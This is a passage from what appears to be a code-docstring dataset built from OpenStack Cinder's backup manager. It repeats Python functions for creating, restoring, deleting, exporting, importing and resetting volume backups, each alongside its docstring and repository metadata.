raise exception.InvalidVolume(reason=err)
expected_status = fields.BackupStatus.CREATING
actual_status = backup.status
if (actual_status != expected_status):
err = (_('Create backup aborted, expected backup status %(expected_status)s but got %(actual_status)s.') % {'expected_status': expected_status, 'actual_status': actual_status})
self._update_backup_error(backup, err)
raise exception.InvalidBackup(reason=err)
try:
if (not self.is_working()):
err = _('Create backup aborted due to backup service is down')
self._update_backup_error(backup, err)
raise exception.InvalidBackup(reason=err)
updates = self._run_backup(context, backup, volume)
except Exception as err:
with excutils.save_and_reraise_exception():
if snapshot_id:
snapshot.status = fields.SnapshotStatus.AVAILABLE
snapshot.save()
else:
self.db.volume_update(context, volume_id, {'status': previous_status, 'previous_status': 'error_backing-up'})
self._update_backup_error(backup, six.text_type(err))
if snapshot_id:
self.db.snapshot_update(context, snapshot_id, {'status': fields.BackupStatus.AVAILABLE})
else:
self.db.volume_update(context, volume_id, {'status': previous_status, 'previous_status': 'backing-up'})
backup.status = fields.BackupStatus.AVAILABLE
backup.size = volume['size']
if updates:
backup.update(updates)
backup.save()
if backup.parent_id:
parent_backup = objects.Backup.get_by_id(context, backup.parent_id)
parent_backup.num_dependent_backups += 1
parent_backup.save()
LOG.info('Create backup finished. backup: %s.', backup.id)
self._notify_about_backup_usage(context, backup, 'create.end') | def create_backup(self, context, backup):
volume_id = backup.volume_id
snapshot_id = backup.snapshot_id
volume = objects.Volume.get_by_id(context, volume_id)
snapshot = (objects.Snapshot.get_by_id(context, snapshot_id) if snapshot_id else None)
previous_status = volume.get('previous_status', None)
updates = {}
if snapshot_id:
log_message = ('Create backup started, backup: %(backup_id)s volume: %(volume_id)s snapshot: %(snapshot_id)s.' % {'backup_id': backup.id, 'volume_id': volume_id, 'snapshot_id': snapshot_id})
else:
log_message = ('Create backup started, backup: %(backup_id)s volume: %(volume_id)s.' % {'backup_id': backup.id, 'volume_id': volume_id})
LOG.info(log_message)
self._notify_about_backup_usage(context, backup, 'create.start')
backup.host = self.host
backup.service = self.driver_name
backup.availability_zone = self.az
backup.save()
expected_status = 'backing-up'
if snapshot_id:
actual_status = snapshot['status']
if (actual_status != expected_status):
err = (_('Create backup aborted, expected snapshot status %(expected_status)s but got %(actual_status)s.') % {'expected_status': expected_status, 'actual_status': actual_status})
self._update_backup_error(backup, err)
raise exception.InvalidSnapshot(reason=err)
else:
actual_status = volume['status']
if (actual_status != expected_status):
err = (_('Create backup aborted, expected volume status %(expected_status)s but got %(actual_status)s.') % {'expected_status': expected_status, 'actual_status': actual_status})
self._update_backup_error(backup, err)
raise exception.InvalidVolume(reason=err)
expected_status = fields.BackupStatus.CREATING
actual_status = backup.status
if (actual_status != expected_status):
err = (_('Create backup aborted, expected backup status %(expected_status)s but got %(actual_status)s.') % {'expected_status': expected_status, 'actual_status': actual_status})
self._update_backup_error(backup, err)
raise exception.InvalidBackup(reason=err)
try:
if (not self.is_working()):
err = _('Create backup aborted due to backup service is down')
self._update_backup_error(backup, err)
raise exception.InvalidBackup(reason=err)
updates = self._run_backup(context, backup, volume)
except Exception as err:
with excutils.save_and_reraise_exception():
if snapshot_id:
snapshot.status = fields.SnapshotStatus.AVAILABLE
snapshot.save()
else:
self.db.volume_update(context, volume_id, {'status': previous_status, 'previous_status': 'error_backing-up'})
self._update_backup_error(backup, six.text_type(err))
if snapshot_id:
self.db.snapshot_update(context, snapshot_id, {'status': fields.BackupStatus.AVAILABLE})
else:
self.db.volume_update(context, volume_id, {'status': previous_status, 'previous_status': 'backing-up'})
backup.status = fields.BackupStatus.AVAILABLE
backup.size = volume['size']
if updates:
backup.update(updates)
backup.save()
if backup.parent_id:
parent_backup = objects.Backup.get_by_id(context, backup.parent_id)
parent_backup.num_dependent_backups += 1
parent_backup.save()
LOG.info('Create backup finished. backup: %s.', backup.id)
self._notify_about_backup_usage(context, backup, 'create.end')<|docstring|>Create volume backups using configured backup service.<|endoftext|> |
fbe1f3c66f056c64251ae5712b818d69bd4ceb60e7b7b95908d503dfde412637 | def restore_backup(self, context, backup, volume_id):
'Restore volume backups from configured backup service.'
LOG.info('Restore backup started, backup: %(backup_id)s volume: %(volume_id)s.', {'backup_id': backup.id, 'volume_id': volume_id})
volume = objects.Volume.get_by_id(context, volume_id)
self._notify_about_backup_usage(context, backup, 'restore.start')
backup.host = self.host
backup.save()
expected_status = 'restoring-backup'
actual_status = volume['status']
if (actual_status != expected_status):
err = (_('Restore backup aborted, expected volume status %(expected_status)s but got %(actual_status)s.') % {'expected_status': expected_status, 'actual_status': actual_status})
backup.status = fields.BackupStatus.AVAILABLE
backup.save()
self.db.volume_update(context, volume_id, {'status': 'error_restoring'})
raise exception.InvalidVolume(reason=err)
expected_status = fields.BackupStatus.RESTORING
actual_status = backup['status']
if (actual_status != expected_status):
err = (_('Restore backup aborted: expected backup status %(expected_status)s but got %(actual_status)s.') % {'expected_status': expected_status, 'actual_status': actual_status})
self._update_backup_error(backup, err)
self.db.volume_update(context, volume_id, {'status': 'error'})
raise exception.InvalidBackup(reason=err)
if (volume['size'] > backup['size']):
LOG.info('Volume: %(vol_id)s, size: %(vol_size)d is larger than backup: %(backup_id)s, size: %(backup_size)d, continuing with restore.', {'vol_id': volume['id'], 'vol_size': volume['size'], 'backup_id': backup['id'], 'backup_size': backup['size']})
backup_service = self._map_service_to_driver(backup['service'])
configured_service = self.driver_name
if (backup_service not in configured_service):
err = (_('Restore backup aborted, the backup service currently configured [%(configured_service)s] is not the backup service that was used to create this backup [%(backup_service)s].') % {'configured_service': configured_service, 'backup_service': backup_service})
backup.status = fields.BackupStatus.AVAILABLE
backup.save()
self.db.volume_update(context, volume_id, {'status': 'error'})
raise exception.InvalidBackup(reason=err)
try:
self._run_restore(context, backup, volume)
except Exception:
with excutils.save_and_reraise_exception():
self.db.volume_update(context, volume_id, {'status': 'error_restoring'})
backup.status = fields.BackupStatus.AVAILABLE
backup.save()
self.db.volume_update(context, volume_id, {'status': 'available'})
backup.status = fields.BackupStatus.AVAILABLE
backup.save()
LOG.info('Restore backup finished, backup %(backup_id)s restored to volume %(volume_id)s.', {'backup_id': backup.id, 'volume_id': volume_id})
self._notify_about_backup_usage(context, backup, 'restore.end') | Restore volume backups from configured backup service. | cinder/backup/manager.py | restore_backup | inspur-storage/cinder | 1 | python | def restore_backup(self, context, backup, volume_id):
LOG.info('Restore backup started, backup: %(backup_id)s volume: %(volume_id)s.', {'backup_id': backup.id, 'volume_id': volume_id})
volume = objects.Volume.get_by_id(context, volume_id)
self._notify_about_backup_usage(context, backup, 'restore.start')
backup.host = self.host
backup.save()
expected_status = 'restoring-backup'
actual_status = volume['status']
if (actual_status != expected_status):
err = (_('Restore backup aborted, expected volume status %(expected_status)s but got %(actual_status)s.') % {'expected_status': expected_status, 'actual_status': actual_status})
backup.status = fields.BackupStatus.AVAILABLE
backup.save()
self.db.volume_update(context, volume_id, {'status': 'error_restoring'})
raise exception.InvalidVolume(reason=err)
expected_status = fields.BackupStatus.RESTORING
actual_status = backup['status']
if (actual_status != expected_status):
err = (_('Restore backup aborted: expected backup status %(expected_status)s but got %(actual_status)s.') % {'expected_status': expected_status, 'actual_status': actual_status})
self._update_backup_error(backup, err)
self.db.volume_update(context, volume_id, {'status': 'error'})
raise exception.InvalidBackup(reason=err)
if (volume['size'] > backup['size']):
LOG.info('Volume: %(vol_id)s, size: %(vol_size)d is larger than backup: %(backup_id)s, size: %(backup_size)d, continuing with restore.', {'vol_id': volume['id'], 'vol_size': volume['size'], 'backup_id': backup['id'], 'backup_size': backup['size']})
backup_service = self._map_service_to_driver(backup['service'])
configured_service = self.driver_name
if (backup_service not in configured_service):
err = (_('Restore backup aborted, the backup service currently configured [%(configured_service)s] is not the backup service that was used to create this backup [%(backup_service)s].') % {'configured_service': configured_service, 'backup_service': backup_service})
backup.status = fields.BackupStatus.AVAILABLE
backup.save()
self.db.volume_update(context, volume_id, {'status': 'error'})
raise exception.InvalidBackup(reason=err)
try:
self._run_restore(context, backup, volume)
except Exception:
with excutils.save_and_reraise_exception():
self.db.volume_update(context, volume_id, {'status': 'error_restoring'})
backup.status = fields.BackupStatus.AVAILABLE
backup.save()
self.db.volume_update(context, volume_id, {'status': 'available'})
backup.status = fields.BackupStatus.AVAILABLE
backup.save()
LOG.info('Restore backup finished, backup %(backup_id)s restored to volume %(volume_id)s.', {'backup_id': backup.id, 'volume_id': volume_id})
self._notify_about_backup_usage(context, backup, 'restore.end') | def restore_backup(self, context, backup, volume_id):
LOG.info('Restore backup started, backup: %(backup_id)s volume: %(volume_id)s.', {'backup_id': backup.id, 'volume_id': volume_id})
volume = objects.Volume.get_by_id(context, volume_id)
self._notify_about_backup_usage(context, backup, 'restore.start')
backup.host = self.host
backup.save()
expected_status = 'restoring-backup'
actual_status = volume['status']
if (actual_status != expected_status):
err = (_('Restore backup aborted, expected volume status %(expected_status)s but got %(actual_status)s.') % {'expected_status': expected_status, 'actual_status': actual_status})
backup.status = fields.BackupStatus.AVAILABLE
backup.save()
self.db.volume_update(context, volume_id, {'status': 'error_restoring'})
raise exception.InvalidVolume(reason=err)
expected_status = fields.BackupStatus.RESTORING
actual_status = backup['status']
if (actual_status != expected_status):
err = (_('Restore backup aborted: expected backup status %(expected_status)s but got %(actual_status)s.') % {'expected_status': expected_status, 'actual_status': actual_status})
self._update_backup_error(backup, err)
self.db.volume_update(context, volume_id, {'status': 'error'})
raise exception.InvalidBackup(reason=err)
if (volume['size'] > backup['size']):
LOG.info('Volume: %(vol_id)s, size: %(vol_size)d is larger than backup: %(backup_id)s, size: %(backup_size)d, continuing with restore.', {'vol_id': volume['id'], 'vol_size': volume['size'], 'backup_id': backup['id'], 'backup_size': backup['size']})
backup_service = self._map_service_to_driver(backup['service'])
configured_service = self.driver_name
if (backup_service not in configured_service):
err = (_('Restore backup aborted, the backup service currently configured [%(configured_service)s] is not the backup service that was used to create this backup [%(backup_service)s].') % {'configured_service': configured_service, 'backup_service': backup_service})
backup.status = fields.BackupStatus.AVAILABLE
backup.save()
self.db.volume_update(context, volume_id, {'status': 'error'})
raise exception.InvalidBackup(reason=err)
try:
self._run_restore(context, backup, volume)
except Exception:
with excutils.save_and_reraise_exception():
self.db.volume_update(context, volume_id, {'status': 'error_restoring'})
backup.status = fields.BackupStatus.AVAILABLE
backup.save()
self.db.volume_update(context, volume_id, {'status': 'available'})
backup.status = fields.BackupStatus.AVAILABLE
backup.save()
LOG.info('Restore backup finished, backup %(backup_id)s restored to volume %(volume_id)s.', {'backup_id': backup.id, 'volume_id': volume_id})
self._notify_about_backup_usage(context, backup, 'restore.end')<|docstring|>Restore volume backups from configured backup service.<|endoftext|> |
26a75c720374bbc9a8ffa74e37e1fe93f272a8b7071fedc95d114d5a50998a77 | def delete_backup(self, context, backup):
'Delete volume backup from configured backup service.'
LOG.info('Delete backup started, backup: %s.', backup.id)
self._notify_about_backup_usage(context, backup, 'delete.start')
backup.host = self.host
backup.save()
expected_status = fields.BackupStatus.DELETING
actual_status = backup.status
if (actual_status != expected_status):
err = (_('Delete_backup aborted, expected backup status %(expected_status)s but got %(actual_status)s.') % {'expected_status': expected_status, 'actual_status': actual_status})
self._update_backup_error(backup, err)
raise exception.InvalidBackup(reason=err)
if (not self.is_working()):
err = _('Delete backup is aborted due to backup service is down')
status = fields.BackupStatus.ERROR_DELETING
self._update_backup_error(backup, err, status)
raise exception.InvalidBackup(reason=err)
backup_service = self._map_service_to_driver(backup['service'])
if (backup_service is not None):
configured_service = self.driver_name
if (backup_service not in configured_service):
err = (_('Delete backup aborted, the backup service currently configured [%(configured_service)s] is not the backup service that was used to create this backup [%(backup_service)s].') % {'configured_service': configured_service, 'backup_service': backup_service})
self._update_backup_error(backup, err)
raise exception.InvalidBackup(reason=err)
try:
backup_service = self.get_backup_driver(context)
backup_service.delete_backup(backup)
except Exception as err:
with excutils.save_and_reraise_exception():
self._update_backup_error(backup, six.text_type(err))
try:
reserve_opts = {'backups': (- 1), 'backup_gigabytes': (- backup.size)}
reservations = QUOTAS.reserve(context, project_id=backup.project_id, **reserve_opts)
except Exception:
reservations = None
LOG.exception('Failed to update usages deleting backup')
if (backup.encryption_key_id is not None):
volume_utils.delete_encryption_key(context, key_manager.API(CONF), backup.encryption_key_id)
backup.encryption_key_id = None
backup.save()
backup.destroy()
if backup.parent_id:
parent_backup = objects.Backup.get_by_id(context, backup.parent_id)
if parent_backup.has_dependent_backups:
parent_backup.num_dependent_backups -= 1
parent_backup.save()
if reservations:
QUOTAS.commit(context, reservations, project_id=backup.project_id)
LOG.info('Delete backup finished, backup %s deleted.', backup.id)
self._notify_about_backup_usage(context, backup, 'delete.end') | Delete volume backup from configured backup service. | cinder/backup/manager.py | delete_backup | inspur-storage/cinder | 1 | python | def delete_backup(self, context, backup):
LOG.info('Delete backup started, backup: %s.', backup.id)
self._notify_about_backup_usage(context, backup, 'delete.start')
backup.host = self.host
backup.save()
expected_status = fields.BackupStatus.DELETING
actual_status = backup.status
if (actual_status != expected_status):
err = (_('Delete_backup aborted, expected backup status %(expected_status)s but got %(actual_status)s.') % {'expected_status': expected_status, 'actual_status': actual_status})
self._update_backup_error(backup, err)
raise exception.InvalidBackup(reason=err)
if (not self.is_working()):
err = _('Delete backup is aborted due to backup service is down')
status = fields.BackupStatus.ERROR_DELETING
self._update_backup_error(backup, err, status)
raise exception.InvalidBackup(reason=err)
backup_service = self._map_service_to_driver(backup['service'])
if (backup_service is not None):
configured_service = self.driver_name
if (backup_service not in configured_service):
err = (_('Delete backup aborted, the backup service currently configured [%(configured_service)s] is not the backup service that was used to create this backup [%(backup_service)s].') % {'configured_service': configured_service, 'backup_service': backup_service})
self._update_backup_error(backup, err)
raise exception.InvalidBackup(reason=err)
try:
backup_service = self.get_backup_driver(context)
backup_service.delete_backup(backup)
except Exception as err:
with excutils.save_and_reraise_exception():
self._update_backup_error(backup, six.text_type(err))
try:
reserve_opts = {'backups': (- 1), 'backup_gigabytes': (- backup.size)}
reservations = QUOTAS.reserve(context, project_id=backup.project_id, **reserve_opts)
except Exception:
reservations = None
LOG.exception('Failed to update usages deleting backup')
if (backup.encryption_key_id is not None):
volume_utils.delete_encryption_key(context, key_manager.API(CONF), backup.encryption_key_id)
backup.encryption_key_id = None
backup.save()
backup.destroy()
if backup.parent_id:
parent_backup = objects.Backup.get_by_id(context, backup.parent_id)
if parent_backup.has_dependent_backups:
parent_backup.num_dependent_backups -= 1
parent_backup.save()
if reservations:
QUOTAS.commit(context, reservations, project_id=backup.project_id)
LOG.info('Delete backup finished, backup %s deleted.', backup.id)
self._notify_about_backup_usage(context, backup, 'delete.end') | def delete_backup(self, context, backup):
LOG.info('Delete backup started, backup: %s.', backup.id)
self._notify_about_backup_usage(context, backup, 'delete.start')
backup.host = self.host
backup.save()
expected_status = fields.BackupStatus.DELETING
actual_status = backup.status
if (actual_status != expected_status):
err = (_('Delete_backup aborted, expected backup status %(expected_status)s but got %(actual_status)s.') % {'expected_status': expected_status, 'actual_status': actual_status})
self._update_backup_error(backup, err)
raise exception.InvalidBackup(reason=err)
if (not self.is_working()):
err = _('Delete backup is aborted due to backup service is down')
status = fields.BackupStatus.ERROR_DELETING
self._update_backup_error(backup, err, status)
raise exception.InvalidBackup(reason=err)
backup_service = self._map_service_to_driver(backup['service'])
if (backup_service is not None):
configured_service = self.driver_name
if (backup_service not in configured_service):
err = (_('Delete backup aborted, the backup service currently configured [%(configured_service)s] is not the backup service that was used to create this backup [%(backup_service)s].') % {'configured_service': configured_service, 'backup_service': backup_service})
self._update_backup_error(backup, err)
raise exception.InvalidBackup(reason=err)
try:
backup_service = self.get_backup_driver(context)
backup_service.delete_backup(backup)
except Exception as err:
with excutils.save_and_reraise_exception():
self._update_backup_error(backup, six.text_type(err))
try:
reserve_opts = {'backups': (- 1), 'backup_gigabytes': (- backup.size)}
reservations = QUOTAS.reserve(context, project_id=backup.project_id, **reserve_opts)
except Exception:
reservations = None
LOG.exception('Failed to update usages deleting backup')
if (backup.encryption_key_id is not None):
volume_utils.delete_encryption_key(context, key_manager.API(CONF), backup.encryption_key_id)
backup.encryption_key_id = None
backup.save()
backup.destroy()
if backup.parent_id:
parent_backup = objects.Backup.get_by_id(context, backup.parent_id)
if parent_backup.has_dependent_backups:
parent_backup.num_dependent_backups -= 1
parent_backup.save()
if reservations:
QUOTAS.commit(context, reservations, project_id=backup.project_id)
LOG.info('Delete backup finished, backup %s deleted.', backup.id)
self._notify_about_backup_usage(context, backup, 'delete.end')<|docstring|>Delete volume backup from configured backup service.<|endoftext|> |
40ba5d49ef5db0d2f05c95ef65cf869e887fa6c7df36b7f7a5fff1a5055c60ff | def export_record(self, context, backup):
"Export all volume backup metadata details to allow clean import.\n\n Export backup metadata so it could be re-imported into the database\n without any prerequisite in the backup database.\n\n :param context: running context\n :param backup: backup object to export\n :returns: backup_record - a description of how to import the backup\n :returns: contains 'backup_url' - how to import the backup, and\n :returns: 'backup_service' describing the needed driver.\n :raises InvalidBackup:\n "
LOG.info('Export record started, backup: %s.', backup.id)
expected_status = fields.BackupStatus.AVAILABLE
actual_status = backup.status
if (actual_status != expected_status):
err = (_('Export backup aborted, expected backup status %(expected_status)s but got %(actual_status)s.') % {'expected_status': expected_status, 'actual_status': actual_status})
raise exception.InvalidBackup(reason=err)
backup_record = {'backup_service': backup.service}
backup_service = self._map_service_to_driver(backup.service)
configured_service = self.driver_name
if (backup_service not in configured_service):
err = (_('Export record aborted, the backup service currently configured [%(configured_service)s] is not the backup service that was used to create this backup [%(backup_service)s].') % {'configured_service': configured_service, 'backup_service': backup_service})
raise exception.InvalidBackup(reason=err)
try:
backup_service = self.get_backup_driver(context)
driver_info = backup_service.export_record(backup)
backup_url = backup.encode_record(driver_info=driver_info)
backup_record['backup_url'] = backup_url
except Exception as err:
msg = six.text_type(err)
raise exception.InvalidBackup(reason=msg)
LOG.info('Export record finished, backup %s exported.', backup.id)
return backup_record | Export all volume backup metadata details to allow clean import.
Export backup metadata so it could be re-imported into the database
without any prerequisite in the backup database.
:param context: running context
:param backup: backup object to export
:returns: backup_record - a description of how to import the backup
:returns: contains 'backup_url' - how to import the backup, and
:returns: 'backup_service' describing the needed driver.
:raises InvalidBackup: | cinder/backup/manager.py | export_record | inspur-storage/cinder | 1 | python | def export_record(self, context, backup):
"Export all volume backup metadata details to allow clean import.\n\n Export backup metadata so it could be re-imported into the database\n without any prerequisite in the backup database.\n\n :param context: running context\n :param backup: backup object to export\n :returns: backup_record - a description of how to import the backup\n :returns: contains 'backup_url' - how to import the backup, and\n :returns: 'backup_service' describing the needed driver.\n :raises InvalidBackup:\n "
LOG.info('Export record started, backup: %s.', backup.id)
expected_status = fields.BackupStatus.AVAILABLE
actual_status = backup.status
if (actual_status != expected_status):
err = (_('Export backup aborted, expected backup status %(expected_status)s but got %(actual_status)s.') % {'expected_status': expected_status, 'actual_status': actual_status})
raise exception.InvalidBackup(reason=err)
backup_record = {'backup_service': backup.service}
backup_service = self._map_service_to_driver(backup.service)
configured_service = self.driver_name
if (backup_service not in configured_service):
err = (_('Export record aborted, the backup service currently configured [%(configured_service)s] is not the backup service that was used to create this backup [%(backup_service)s].') % {'configured_service': configured_service, 'backup_service': backup_service})
raise exception.InvalidBackup(reason=err)
try:
backup_service = self.get_backup_driver(context)
driver_info = backup_service.export_record(backup)
backup_url = backup.encode_record(driver_info=driver_info)
backup_record['backup_url'] = backup_url
except Exception as err:
msg = six.text_type(err)
raise exception.InvalidBackup(reason=msg)
LOG.info('Export record finished, backup %s exported.', backup.id)
return backup_record | def export_record(self, context, backup):
"Export all volume backup metadata details to allow clean import.\n\n Export backup metadata so it could be re-imported into the database\n without any prerequisite in the backup database.\n\n :param context: running context\n :param backup: backup object to export\n :returns: backup_record - a description of how to import the backup\n :returns: contains 'backup_url' - how to import the backup, and\n :returns: 'backup_service' describing the needed driver.\n :raises InvalidBackup:\n "
LOG.info('Export record started, backup: %s.', backup.id)
expected_status = fields.BackupStatus.AVAILABLE
actual_status = backup.status
if (actual_status != expected_status):
err = (_('Export backup aborted, expected backup status %(expected_status)s but got %(actual_status)s.') % {'expected_status': expected_status, 'actual_status': actual_status})
raise exception.InvalidBackup(reason=err)
backup_record = {'backup_service': backup.service}
backup_service = self._map_service_to_driver(backup.service)
configured_service = self.driver_name
if (backup_service not in configured_service):
err = (_('Export record aborted, the backup service currently configured [%(configured_service)s] is not the backup service that was used to create this backup [%(backup_service)s].') % {'configured_service': configured_service, 'backup_service': backup_service})
raise exception.InvalidBackup(reason=err)
try:
backup_service = self.get_backup_driver(context)
driver_info = backup_service.export_record(backup)
backup_url = backup.encode_record(driver_info=driver_info)
backup_record['backup_url'] = backup_url
except Exception as err:
msg = six.text_type(err)
raise exception.InvalidBackup(reason=msg)
LOG.info('Export record finished, backup %s exported.', backup.id)
return backup_record<|docstring|>Export all volume backup metadata details to allow clean import.
Export backup metadata so it could be re-imported into the database
without any prerequisite in the backup database.
:param context: running context
:param backup: backup object to export
:returns: backup_record - a description of how to import the backup
:returns: contains 'backup_url' - how to import the backup, and
:returns: 'backup_service' describing the needed driver.
:raises InvalidBackup:<|endoftext|> |
72a2e54b8b2d0788daef130c6352eb70c5ede01dd371a3474e77fcb281cf8af0 | def import_record(self, context, backup, backup_service, backup_url, backup_hosts):
'Import all volume backup metadata details to the backup db.\n\n :param context: running context\n :param backup: The new backup object for the import\n :param backup_service: The needed backup driver for import\n :param backup_url: An identifier string to locate the backup\n :param backup_hosts: Potential hosts to execute the import\n :raises InvalidBackup:\n :raises ServiceNotFound:\n '
LOG.info('Import record started, backup_url: %s.', backup_url)
if (backup_service != self.driver_name):
if (len(backup_hosts) > 0):
first_host = backup_hosts.pop()
self.backup_rpcapi.import_record(context, first_host, backup, backup_service, backup_url, backup_hosts)
else:
err = (_('Import record failed, cannot find backup service to perform the import. Request service %(service)s.') % {'service': backup_service})
self._update_backup_error(backup, err)
raise exception.ServiceNotFound(service_id=backup_service)
else:
try:
backup_options = backup.decode_record(backup_url)
driver_options = backup_options.pop('driver_info', {})
backup_service = self.get_backup_driver(context)
backup_service.import_record(backup, driver_options)
except Exception as err:
msg = six.text_type(err)
self._update_backup_error(backup, msg)
raise exception.InvalidBackup(reason=msg)
required_import_options = {'display_name', 'display_description', 'container', 'size', 'service_metadata', 'object_count', 'id'}
missing_opts = (required_import_options - set(backup_options))
if missing_opts:
msg = (_('Driver successfully decoded imported backup data, but there are missing fields (%s).') % ', '.join(missing_opts))
self._update_backup_error(backup, msg)
raise exception.InvalidBackup(reason=msg)
backup_id = backup_options['id']
if (backup_id != backup.id):
msg = (_('Trying to import backup metadata from id %(meta_id)s into backup %(id)s.') % {'meta_id': backup_id, 'id': backup.id})
self._update_backup_error(backup, msg)
raise exception.InvalidBackup(reason=msg)
backup_options['service'] = self.driver_name
backup_options['availability_zone'] = self.az
backup_options['host'] = self.host
for key in ('name', 'user_id', 'project_id', 'deleted_at', 'deleted', 'fail_reason', 'status'):
backup_options.pop(key, None)
backup.update(backup_options)
backup.save()
try:
if isinstance(backup_service, driver.BackupDriverWithVerify):
backup_service.verify(backup.id)
else:
LOG.warning('Backup service %(service)s does not support verify. Backup id %(id)s is not verified. Skipping verify.', {'service': self.driver_name, 'id': backup.id})
except exception.InvalidBackup as err:
with excutils.save_and_reraise_exception():
self._update_backup_error(backup, six.text_type(err))
backup.update({'status': fields.BackupStatus.AVAILABLE})
backup.save()
LOG.info('Import record id %s metadata from driver finished.', backup.id) | Import all volume backup metadata details to the backup db.
:param context: running context
:param backup: The new backup object for the import
:param backup_service: The needed backup driver for import
:param backup_url: An identifier string to locate the backup
:param backup_hosts: Potential hosts to execute the import
:raises InvalidBackup:
:raises ServiceNotFound: | cinder/backup/manager.py | import_record | inspur-storage/cinder | 1 | python | def import_record(self, context, backup, backup_service, backup_url, backup_hosts):
'Import all volume backup metadata details to the backup db.\n\n :param context: running context\n :param backup: The new backup object for the import\n :param backup_service: The needed backup driver for import\n :param backup_url: An identifier string to locate the backup\n :param backup_hosts: Potential hosts to execute the import\n :raises InvalidBackup:\n :raises ServiceNotFound:\n '
LOG.info('Import record started, backup_url: %s.', backup_url)
if (backup_service != self.driver_name):
if (len(backup_hosts) > 0):
first_host = backup_hosts.pop()
self.backup_rpcapi.import_record(context, first_host, backup, backup_service, backup_url, backup_hosts)
else:
err = (_('Import record failed, cannot find backup service to perform the import. Request service %(service)s.') % {'service': backup_service})
self._update_backup_error(backup, err)
raise exception.ServiceNotFound(service_id=backup_service)
else:
try:
backup_options = backup.decode_record(backup_url)
driver_options = backup_options.pop('driver_info', {})
backup_service = self.get_backup_driver(context)
backup_service.import_record(backup, driver_options)
except Exception as err:
msg = six.text_type(err)
self._update_backup_error(backup, msg)
raise exception.InvalidBackup(reason=msg)
required_import_options = {'display_name', 'display_description', 'container', 'size', 'service_metadata', 'object_count', 'id'}
missing_opts = (required_import_options - set(backup_options))
if missing_opts:
msg = (_('Driver successfully decoded imported backup data, but there are missing fields (%s).') % ', '.join(missing_opts))
self._update_backup_error(backup, msg)
raise exception.InvalidBackup(reason=msg)
backup_id = backup_options['id']
if (backup_id != backup.id):
msg = (_('Trying to import backup metadata from id %(meta_id)s into backup %(id)s.') % {'meta_id': backup_id, 'id': backup.id})
self._update_backup_error(backup, msg)
raise exception.InvalidBackup(reason=msg)
backup_options['service'] = self.driver_name
backup_options['availability_zone'] = self.az
backup_options['host'] = self.host
for key in ('name', 'user_id', 'project_id', 'deleted_at', 'deleted', 'fail_reason', 'status'):
backup_options.pop(key, None)
backup.update(backup_options)
backup.save()
try:
if isinstance(backup_service, driver.BackupDriverWithVerify):
backup_service.verify(backup.id)
else:
LOG.warning('Backup service %(service)s does not support verify. Backup id %(id)s is not verified. Skipping verify.', {'service': self.driver_name, 'id': backup.id})
except exception.InvalidBackup as err:
with excutils.save_and_reraise_exception():
self._update_backup_error(backup, six.text_type(err))
backup.update({'status': fields.BackupStatus.AVAILABLE})
backup.save()
LOG.info('Import record id %s metadata from driver finished.', backup.id) | def import_record(self, context, backup, backup_service, backup_url, backup_hosts):
'Import all volume backup metadata details to the backup db.\n\n :param context: running context\n :param backup: The new backup object for the import\n :param backup_service: The needed backup driver for import\n :param backup_url: An identifier string to locate the backup\n :param backup_hosts: Potential hosts to execute the import\n :raises InvalidBackup:\n :raises ServiceNotFound:\n '
LOG.info('Import record started, backup_url: %s.', backup_url)
if (backup_service != self.driver_name):
if (len(backup_hosts) > 0):
first_host = backup_hosts.pop()
self.backup_rpcapi.import_record(context, first_host, backup, backup_service, backup_url, backup_hosts)
else:
err = (_('Import record failed, cannot find backup service to perform the import. Request service %(service)s.') % {'service': backup_service})
self._update_backup_error(backup, err)
raise exception.ServiceNotFound(service_id=backup_service)
else:
try:
backup_options = backup.decode_record(backup_url)
driver_options = backup_options.pop('driver_info', {})
backup_service = self.get_backup_driver(context)
backup_service.import_record(backup, driver_options)
except Exception as err:
msg = six.text_type(err)
self._update_backup_error(backup, msg)
raise exception.InvalidBackup(reason=msg)
required_import_options = {'display_name', 'display_description', 'container', 'size', 'service_metadata', 'object_count', 'id'}
missing_opts = (required_import_options - set(backup_options))
if missing_opts:
msg = (_('Driver successfully decoded imported backup data, but there are missing fields (%s).') % ', '.join(missing_opts))
self._update_backup_error(backup, msg)
raise exception.InvalidBackup(reason=msg)
backup_id = backup_options['id']
if (backup_id != backup.id):
msg = (_('Trying to import backup metadata from id %(meta_id)s into backup %(id)s.') % {'meta_id': backup_id, 'id': backup.id})
self._update_backup_error(backup, msg)
raise exception.InvalidBackup(reason=msg)
backup_options['service'] = self.driver_name
backup_options['availability_zone'] = self.az
backup_options['host'] = self.host
for key in ('name', 'user_id', 'project_id', 'deleted_at', 'deleted', 'fail_reason', 'status'):
backup_options.pop(key, None)
backup.update(backup_options)
backup.save()
try:
if isinstance(backup_service, driver.BackupDriverWithVerify):
backup_service.verify(backup.id)
else:
LOG.warning('Backup service %(service)s does not support verify. Backup id %(id)s is not verified. Skipping verify.', {'service': self.driver_name, 'id': backup.id})
except exception.InvalidBackup as err:
with excutils.save_and_reraise_exception():
self._update_backup_error(backup, six.text_type(err))
backup.update({'status': fields.BackupStatus.AVAILABLE})
backup.save()
LOG.info('Import record id %s metadata from driver finished.', backup.id)<|docstring|>Import all volume backup metadata details to the backup db.
:param context: running context
:param backup: The new backup object for the import
:param backup_service: The needed backup driver for import
:param backup_url: An identifier string to locate the backup
:param backup_hosts: Potential hosts to execute the import
:raises InvalidBackup:
:raises ServiceNotFound:<|endoftext|> |
49015b7c2be4f807d72199b3faf7c623267381995e35dfb3a1f68a784e76842c | def reset_status(self, context, backup, status):
'Reset volume backup status.\n\n :param context: running context\n :param backup: The backup object for reset status operation\n :param status: The status to be set\n :raises InvalidBackup:\n :raises BackupVerifyUnsupportedDriver:\n :raises AttributeError:\n '
LOG.info('Reset backup status started, backup_id: %(backup_id)s, status: %(status)s.', {'backup_id': backup.id, 'status': status})
backup_service_name = self._map_service_to_driver(backup.service)
LOG.info('Backup service: %s.', backup_service_name)
if (backup_service_name is not None):
configured_service = self.driver_name
if (backup_service_name not in configured_service):
err = (_('Reset backup status aborted, the backup service currently configured [%(configured_service)s] is not the backup service that was used to create this backup [%(backup_service)s].') % {'configured_service': configured_service, 'backup_service': backup_service_name})
raise exception.InvalidBackup(reason=err)
try:
if ((status == fields.BackupStatus.AVAILABLE) and (backup['status'] != fields.BackupStatus.RESTORING)):
backup_service = self.get_backup_driver(context)
if isinstance(backup_service, driver.BackupDriverWithVerify):
backup_service.verify(backup.id)
backup.status = status
backup.save()
else:
msg = (_('Backup service %(configured_service)s does not support verify. Backup id %(id)s is not verified. Skipping verify.') % {'configured_service': self.driver_name, 'id': backup.id})
